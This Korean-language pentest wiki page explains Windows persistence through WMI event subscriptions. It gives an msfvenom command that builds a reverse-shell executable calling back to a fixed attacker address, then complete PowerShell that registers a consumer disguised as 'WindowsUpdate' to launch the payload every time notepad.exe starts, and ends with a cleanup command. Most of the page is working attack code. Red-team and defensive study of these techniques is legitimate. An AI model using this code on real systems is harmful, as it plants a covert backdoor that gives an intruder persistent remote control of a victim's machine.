> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/persistence/local/wmi-event-subscription.md).

# WMI Event Subscription

WMI 이벤트를 통한 지속성은 EventConsumer, EventFilter, FilterToConsumerBinding 3개의 주요 WMI 클래스를 활용하는 강력한 기법입니다.

* EventConsumer : 실행할 동작을 정의합니다. (Ex - PowerShell 실행)
* EventFilter : 동작을 유발할 트리거 정의. (Ex - notepad.exe가 실행될 때마다 트리거)
* FilterToConsumerBinding : EventConsumer와 EventFilter를 연결

<pre class="language-powershell"><code class="lang-powershell"><strong># 리버스쉘 실행 파일 생성
</strong>msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.200.132 LPORT=9999 -f exe -o Reverse.exe

<strong># 1. Event Consumer 생성 (실행할 명령 설정)
</strong>$consumer = ([WMIClass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "WindowsUpdate"
$consumer.CommandLineTemplate = "C:\update.exe"
$consumer.ExecutablePath = "C:\update.exe"
$consumer.Put()

<strong># 2. Event Filter 생성 (notepad.exe 프로세스 시작 시)
</strong>$filter = ([WMIClass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "NotepadStartFilter"
$filter.EventNamespace = "root\cimv2"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 3 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"
$filter.Put()

<strong># 3. Filter와 Consumer 바인딩
</strong>$binding = ([WMIClass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filter.Path.RelativePath
$binding.Consumer = $consumer.Path.RelativePath
$binding.Put()

<strong># 이벤트 제거
</strong>Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -eq '__EventFilter.Name="NotepadStartFilter"' -and $_.Consumer -eq 'CommandLineEventConsumer.Name="WindowsUpdate"' } | Remove-WmiObject
</code></pre>

## References

{% embed url="<https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/>" %}